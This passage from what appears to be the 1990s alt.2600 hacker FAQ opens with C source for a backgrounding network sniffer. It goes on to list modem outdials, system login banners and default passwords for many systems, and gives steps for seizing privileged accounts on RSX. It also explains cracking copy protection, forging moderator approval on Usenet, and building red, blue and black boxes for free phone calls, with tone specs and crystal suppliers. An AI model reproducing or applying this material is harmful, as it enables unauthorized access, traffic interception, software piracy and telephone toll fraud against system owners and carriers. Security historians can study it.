strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
18. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.
19. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5:
Internet Outdial List v3.0
by Cavalier and DisordeR
Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.
Working Outdials
----------------
as of 12/29/94
NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem
217 dialout.cecer.army.mil atdt x,xxxXXXXX
218 modem.d.umn.edu atdt9,xxxXXXX
303 yuma.acns.colostate.edu 3020
412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX
413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
502 outdial.louisville.edu
502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"
602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
614 ns2400.acs.ohio-state.edu
614 ns9600.acs.ohio-state.edu
713 128.249.27.153 atdt x,xxxXXXX
714 modem.nts.uci.edu atdt[area]0[phone]
804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
804 ublan2.acc.virginia.edu connect telnet
connect hayes
Need Password
-------------
206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa
Dead/No Connect
---------------
201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu <none>
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest <none>
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest <none>
??? vtnet1.cns.ut.edu "CALL" or "call"
Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...
[Editors note: Updates have been made to this document after
the original publication]
20. What is this system?
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]
AS/400
~~~~~~
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt. Next prompt is:
USER NAME:
CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:
GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX
@
PASSWORD =
@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->
CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM MMMERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
Copyright (c) Northern Telecom, 1991
Novell ONLAN
~~~~~~~~~~~~
N
[To access the systems it is best to own a copy of ONLAN/PC]
PC-Anywhere
~~~~~~~~~~~
P
[To access the systems it is best to own a copy of PCAnywhere Remote]
PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)
ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?
System75
~~~~~~~~
Login: root
INCORRECT LOGIN
Login: browse
Password:
Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
~~~~~~~
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/370
~~~~~~
VM/370
!
VM/ESA
~~~~~~
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>
COMMAND ===>
Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait...
Annex username: TNO
Annex password:
Permission granted
annex:
21. What are the default accounts for XXX?
AIX
~~~
guest guest
AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */
also
ibm/password
ibm/2222
ibm/service
qsecofr/1111111
qsecofr/2222222
qsvr/qsvr
secofr/secofr
DECserver
~~~~~~~~~
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup <no password>
library <no password>
circ <9 digit number>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
~~~~~~~~~
Sysop Sysop
Mitel PBX
~~~~~~~~~
SYSTEM
NeXTSTEP
~~~~~~~~
root NeXT
signa signa
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax <no password>
PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM
Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>
Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer
PhoneMail Defaults
sysadmin sysadmin
tech tech
poll tech
RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Default accounts for Micro/RSX:
MICRO/RSX
Alternately you can hit <CTRL-Z> when the boot sequence asks you for the
date and create an account using:
RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are Priveleged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.
type " run $acnt" and change the password of any account with a group
number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.
SGI Irix
~~~~~~~~
4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>
System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
Taco Bell
~~~~~~~~~
rgm rollout
tacobell <null>
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816
VMS
~~~
field service
systest utep
XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831
22. What port is XXX on?
The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
23. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.
Virus:
A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.
24. How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help
protect yourself against those by write protecting all disks which you
do not need write access to. Definitely keep a set of write protected
floppy system disks. If you get a virus, it will make things much
simpler. And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good proggie. Using more than
one scanner could be helpful. You may get those one or two viruses
that the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now. NO scanner
can keep up with them all, but the four mentioned here do the best job
of keeping current. Any _good_ scanner will detect the majority of
common viruses. No virus scanner will detect all viruses.
Right now there are about 5600 known viruses. New ones are written
all the time. If you use a scanner for virus detection, you need to
make sure you get frequent updates. If you rely on behaviour
blockers, you should know that such programs can be bypassed easily by
a technique known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.
You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer
memory and constantly monitor program execution (and sometimes even
access to the files containing programs). If you try to execute a
program, the resident scanner receives control and scans it first for
known viruses. Only if no such viruses are found, the program is
allowed to execute.
Most virus scanners will not protect you against many kinds of
trojans, any sort of logic bombs, or worms. Theoretically, they
_could_ protect you against logic bombs and/or worms, by addition of
scanning strings; however, this is rarely done.
The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorised by
you. Make freqent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the
support department of the company who supplies your anti-virus product
if you aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.
The best way to make sure viruses are not spread is not to spread
them. Some people do this intentionally. We discourage this. Viruses
aren't cool.
25. Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly lanaguage programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find
first, find next" calls. You can get information about the technical
aspects of viruses, as well as help if you should happen to get a
virus, from the virus-l FAQ, posted on comp. virus every so often.
You can also pick up on the various debates there. There are
alt.virus type newsgroups, but the level of technical expertise is
minimal, and so far at least there has not been a lot of real "help"
for people who want to get -rid- of a virus.
There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment.
There are a number of good papers available on viruses, and the Cult
of Virus; you can get information on them from just about anyone
listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de
is a pretty reliable site for proggies and text.
26. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
27. What is PGP?
This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no
secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.
28. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.
Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until
you space them apart.
Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project
a target was working on. We could sit in a van outside her office and
use sensitive electronic equipment to attempt to pick up and decipher
the emanations from her video monitor.
Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.
Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.
29. What is an anonymous remailer?
An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.
You apply for an anonymous ID at the remailer site. Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer. No one reading the post will know your real account
name or host name. If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.
30. What are the addresses of some anonymous remailers?
The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi. For assistance is obtaining an anonymous account
at penet, mail help@anon.penet.fi.
To see a list on anonymous remailers, finger
remailer-list@kiwi.cs.berkeley.edu.
31. How do I defeat Copy Protection?
There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.
Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code. The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally). Or the code may simply be replaced with
NOP (No Operation) instructions.
32. What is 127.0.0.1?
127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.
33. How do I post to a moderated newsgroup?
Usenet messages consist of message headers and message bodies. The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.
One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.
A "Approved" header line should look like this:
Approved: will@gnu.ai.mit.edu
There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.
For more information, read RFC 1036: Standard for Interchange of
USENET messages.
Section B: Telephony
~~~~~~~~~~~~~~~~~~~~
01. What is a Red Box?
When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call. The actual
tones are:
Nickel Signal 1700+2200 0.060s on
Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating
Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating
02. How do I build a Red Box?
Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.
To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal with a new one.
The purpose of the new crystal is to cause the * button on your tone
dialer to create a 1700Mhz and 2200Mhz tone instead of the original
941Mhz and 1209Mhz tones. The exact value of the replacement crystal
should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
create a perfect 2200mhz tone. A crystal close to those values will
create a tone that easily falls within the loose tolerances of ACTS.
The most popular choice is the 6.5536Mhz crystal, because it is the
eaiest to procure. The old crystal is the large shiny metal component
labeled "3.579545Mhz." When you are finished replacing the crystal,
program the P1 button with five *'s. That will simulate a quarter
tone each time you press P1.
03. Where can I get a 6.5536Mhz crystal?
Your best bet is a local electronics store. Radio Shack sells them,
but they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do
not know that this can be done.
Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal. It's best to get several people together to share the
S&H cost. Or, buy five or six yourself and sell them later. Some of
the places you can order crystals are:
Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(80)344-4539
Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND
JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ
Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625
Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057
Mouser
(800)346-6873
Part Number: 332-1066
04. Which payphones will a Red Box work on?
Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).
Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.
COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.
05. How do I make local calls with a Red Box?
Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.
One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the
picture.
In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach. The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.
06. What is a Blue Box?
Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.
07. Do Blue Boxes still work?
Blue Boxes still work in areas using in band signalling. Modern phone
switches use out of band signalling. Nothing you send over the voice
portion of bandwidth can control the switch. If you are in an area
served by a switch using out of band signalling, you can still blue
box by calling through an area served by older in-band equipment.
08. What is a Black Box?
A Black Box is a 1.8k ohm resistor placed across your phone line to
cause the phone company equipment to be unable to detect that you have
answered your telephone. People who call you will then not be billed
for the telephone call. Black boxes do not work under ESS.
09. What do all the colored boxes do?
Acrylic Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
Beige Lineman's hand set
Black Allows the calling party to not be billed for the call
placed
Blast Phone microphone amplifier
Blotto Supposedly shorts every fone out in the immediate area
Blue Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown Create a party line from 2 phone lines
Bud Tap into your neighbors phone line
Chartreuse Use the electricity from your phone line
Cheese Connect two phones to create a diverter
Chrome Manipulate Traffic Signals by Remote Control
Clear A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color Line activated telephone recorder
Copper Cause crosstalk interference on an extender
Crimson Hold button
Dark Re-route outgoing or incoming calls to another phone
Dayglo Connect to your neighbors phone line
Divertor Re-route outgoing or incoming calls to another phone
DLOC Create a party line from 2 phone lines
Gold Dialout router
Green Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity Remotely activated phone tap
Jack Touch-Tone key pad
Light In-use light
Lunch AM transmitter
Magenta Connect a remote phone line to another remote phone line
Mauve Phone tap without cutting into a line
Neon External microphone
Noise Create line noise
Olive External ringer
Party Create a party line from 2 phone lines
Pearl Tone generator
